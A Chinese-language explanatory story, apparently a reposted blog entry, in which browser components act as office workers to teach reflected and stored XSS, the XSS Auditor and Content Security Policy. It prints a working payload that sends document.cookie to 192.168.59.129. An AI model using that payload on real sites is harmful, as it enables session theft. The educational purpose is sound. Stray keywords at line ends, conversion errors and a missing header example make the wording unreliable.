我叫小風,是Windows帝國一個普通的上班族。上一回說到由於一個跨域請求,我差點丟了飯碗,好在有驚無險,個人職場歷險記還在繼續。web
「叮叮叮叮~~~~」,鬧鐘又把我給吵醒了,我一看時間居然已經這麼晚了。數據庫
我趕忙起身,準備要去上班,好不容易在那家瀏覽器公司謀了個差事,可不敢遲到。編程
今天又是普通的一天,很快就到了深夜,上網業務少了,我和小雪妹子一合計,夥同負責網絡鏈接的老白和負責存儲的小黑,一塊兒打起了麻將。跨域
一連打了幾圈,正在興頭上,公司的美女前臺跑了過來,「大家幾個別玩了,上網業務來了。老白,這是URL,給」瀏覽器
我瞅了一眼這URL,看上去有些奇怪,不只比以前見過的都長,貌似還夾雜着一些JavaScript代碼。安全
http://zone.oo.com/user/info.jsp?desc="/><script>$("body").append("<img src='http://192.168.59.129?c="+escape(document.cookie) + "'>")</script><!--服務器
「老白,這URL長的好奇怪?會不會有什麼問題?」,我向老白問到。cookie
「嗨,你小子就是新來的,我見過的URL比你執行過的JS代碼都多,什麼奇形怪狀的沒見過,大驚小怪」,老白不屑一顧。網絡
「你們把牌蓋着,都別看,忙完了回來咱接着打」,老白繼續說到。app
因而你們各歸各位,準備處理這一單上網業務。
很快,老白取回了這個URL背後的網頁,交給了小雪來解析渲染。
小雪作了一半,叫住了我:「風哥,又有 <script> 標籤了,該你上了」。
我接太小雪手裏的網頁,猛地一看,這不是剛剛URL裏面出現的代碼嗎?怎麼又跑到網頁裏面去了?
內心忽然涌上一種很差的預感,正在困惑之中,老白催我了,「小雪小風你倆趕忙的,網頁加載半天了還沒顯示出來!」
希望是我多想了,我開始執行這 <script> 標籤中的代碼了。
<script>
$("body").append("\<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>") </script> 複製代碼
我要建立一個新的 <img> 標籤,添加到網頁正文中去。看了一下這個圖片的來源,是一個新的地址,再一看,還要把當前網站的Cookie帶着做爲參數才能拿到這個圖片。
我來到小黑的存儲倉庫,準備向他索要Cookie。
當我代表來意之後,小黑也顯得有些謹慎,「按照公司規定,一個網站的Cookie是不能隨便給別的網站訪問的」
「這我固然知道,不過如今是這個網站的JS代碼主動把Cookie取出來發給別人,這不算違反公司規定吧」,我解釋到。
小黑鄒着眉頭想了一想,也就贊成了。
我拿到cookie後,構建了一個完整的 <img> 標籤添加到了網頁的DOM樹中,以後還給小雪繼續渲染。
網頁很快渲染完成展現出來了,忙完以後咱們繼續開始未完的牌局。
過了一下子,人類終於關掉了瀏覽器,咱們也能夠下班了······
次日一早,我剛到公司,小雪妹子就轉過頭告訴我:「風哥,主管讓你去趟他的辦公室,他好像不過高興,你小心點」
「你知道是什麼事情嗎?」
「我也不太清楚,只據說你執行了什麼錯誤的JavaScript代碼」
我內心一緊,感受大事不妙,難道是昨晚那奇怪的代碼有什麼問題?
來到主管的辦公室,見裏面坐了一個年輕小哥。我輕輕的敲了敲門問到:「主管,您找我有事?」
主管見我到來,指着旁邊的沙發示意我也坐下。
「你闖禍了知道嗎?」,領導扔給我一頁文件。
我拿起文件一看,上面赫然寫着我昨晚執行那段奇怪的JavaScript代碼。
「主管,我不太清楚,這是有什麼問題嗎?」,我小聲問道。
主管指着旁邊那個年輕小哥說到:「這位是OO空間網站的負責人,讓他告訴你吧」
小哥點了點頭說到:「是這樣的,咱們發現有人盜用咱們網站的Cookie,免登陸直接訪問了進去,通過日誌排查,發現是大家這裏把Cookie泄露的,因此想過來了解一下狀況」
「這段代碼是大家網站本身的,我只是完成個人工做執行了它而已啊」,我開始有些緊張了。
「但是咱們網站根本沒有這段代碼,也不可能把Cookie就這樣發給別人的」,這小哥也爭辯道。
辦公室的氣氛變得有些緊張,現場陷入了短暫的安靜。
就在此時,年輕小哥出去接了一個電話。
片刻以後,小哥再次回到辦公室,臉色忽然和緩了許多,笑着說到:「很差意思,剛剛接到同事的電話說,他們已經排查出了問題,是咱們網站對URL中的參數沒有檢查,直接寫入了網頁中,被人利用傳入了JS代碼。跟大家應該沒有關係,實在是抱歉」
聽完,我鬆了一口氣,差點就要背鍋了。
回到工位,我把事情的通過告訴了大夥。
小雪聽後吐槽:「那些奇奇怪怪的URL就別亂點嘛,真是給咱們添亂」
「你看你看,我昨晚上就以爲有些不對勁。這壞蛋手段挺高啊,能想出這麼個損招,我們給這種攻擊方式取個名字吧」,小黑說到,「叫Cross Site Script
攻擊怎麼樣?」
老白點了點頭,「跨站腳本攻擊,嗯,總結很到位,那就簡稱CSS吧!」
小雪一聽轉過頭來,「你叫CSS,那個人層疊樣式表豈不是要更名讓賢?」
老白撓了撓頭,有些很差意思,「哦,忘了這一茬。那改一下,叫XSS,這總能夠了吧?」
咱們都點了點頭,就這麼定了。
雖然這一次的事情責任不在咱們瀏覽器,不過我一直仍是有些後怕。
這天晚上,我又仔細回憶了那天整個事情的通過
忽然腦子裏靈光一閃,發現一個重要的特色
既然JS代碼同時出如今了請求的URL中和響應的網頁中,何不利用這個特色來進行鍼對性攔截呢?
越想越難入睡,連夜寫起了方案。
次日,來到公司,打算將昨晚的方案彙報給主管,掙一下表現。
我再次來到主管辦公室,主管見是我,招呼道:「小風啊,來來來,恰好找你有點事」
我快步走了進去,只見主管又拿出了一疊文件放在個人面前,隨後說到:「這是我搞到的絕密資料,是我們隔壁Chrome瀏覽器公司的一個叫XSS Auditor
的技術,聽說能夠阻止相似上次的攻擊事件,你抽空研究一下」
我腦子一懵,趕忙快速瀏覽了這份文件,沒想到竟然跟個人方案撞到一起了,並且比我想的還全面細緻。我只好悄悄收起了原來準備彙報的方案······
幾天後,主管宣佈咱們也要用上這種技術,加強我們瀏覽器的安全性。
「據說了嗎?隔壁Chrome瀏覽器公司也發生XSS攻擊了」,一天中午,老白神神祕祕的說到。
我一聽來了精神,「不是有XSS Auditor嗎,怎麼還會發生這種事?」
「這回那些壞蛋換招了,他們沒有把JS代碼放在URL中,XSS Auditor天然是發覺不了了」
「不在URL中,那放哪裏了?」
「據說是存在了數據庫裏,訪問網頁的時候從數據庫裏讀取出來後,直接給填充到了網頁上了,喏,就像這樣」,老白說完畫了一個圖。
「對了,他們藉此機會把XSS攻擊分紅了兩種,之前那種直接經過URL把JS代碼注入進網頁的方式叫作反射型XSS
,這一次這種叫存儲型XSS
」,老白繼續說到。
我看了老白的圖一下就明白了,「這一招也太狠了,存進了網站的數據庫裏,全部人訪問頁面都得中招」
「可不是咋的,OO空間網站那邊已經亂成一鍋粥了,正在內部整頓,對全部的輸入進行全面的檢查過濾,防止JS代碼混進去。」
「這種事情仍是得他們網站本身作好檢查,我們瀏覽器也幫不上什麼忙」,一旁的小黑也插了一嘴。
你們七嘴八舌聊了幾句就散了。
雖然小黑說的也沒錯,不過上次的方案撞車,我一直不太服氣,這一次機會來了,我要是能再想出一套方案,能把此次的新型XSS一併解決的話,那就揚眉吐氣了。
以後一段時間,一有閒暇我就開始思考這個問題,卻一直沒什麼進展。
這一天中午,沒什麼工做要忙,我又想起了這個問題,小雪他們又組織打麻將,我沒有心思便拒絕了。
老白聞訊過來,說到:「小風,你還在想那個問題啊,你這兩天沒看新聞嗎,W3C標準化組織推出了一個新技術,已經把這個問題解決了!」
老白的話如當頭一棒,「什麼技術?怎麼解決的?」
「你看你,每天關起門來研究,都不知道外面的世界變化有多快。你去了解一下,好像叫什麼Content Security Policy
,哦對,就是這個,簡稱叫CSP
」
我趕忙去打聽了這個叫CSP的新技術,看完直拍大腿,我怎麼就沒想到。
CSP規定了一個叫Content-Security-Policy
的信息,網站經過這個信息告訴瀏覽器哪些外部資源能夠加載和執行。這個信息能夠用HTTP頭的形式出現,像這樣:
也能夠經過 <meta> 標籤出現,像這樣:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"> 複製代碼
至於裏面的內容,則是將全部可能出現外部資源加載的地方進行了指示,瀏覽器拿到它就能知道能去哪些地址加載對應的資源,若是資源所在的地址不在名單以內就拒絕加載:
- script-src:外部腳本
- style-src:樣式表
- img-src:圖像
- media-src:媒體文件(音頻和視頻)
- font-src:字體文件
- object-src:插件(好比 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部資源
- connect-src:HTTP 鏈接(經過 XHR、WebSockets、EventSource等)
- worker-src:worker腳本
- manifest-src:manifest 文件
複製代碼
好比 img-src的內容是self
,那全部的 <img> 標籤的src屬性必須是在當前網站才行,若是加載其餘地址的圖片就會拒絕。
不只如此,還提供了一個叫report-uri
的字段,字段內容是一個服務器地址,瀏覽器發現有不符合規定的資源加載後,除了拒絕加載還能夠把這一狀況報告給這個地址,網站就能及時知道預警了。
真是完美的解決方案!沒想到,居然這麼多競爭對手都已經用上了這項技術
當天下午,我就拉着老白去到領導辦公室,說服他將這項技術在我們公司也用起來。
煩人的XSS攻擊總算是緩解了很多,咱們也可貴度過了一段時間的太平日子。
未完待續······
太平的日子沒有太持久,那件事以後半個月,我又由於執行一段JS代碼霸佔CPU過久,被帝國安全警衛隊勒令咱們瀏覽器公司強制關閉。
執行JavaScript這份工是愈來愈很差打了。
預知後事如何,請關注後續精彩······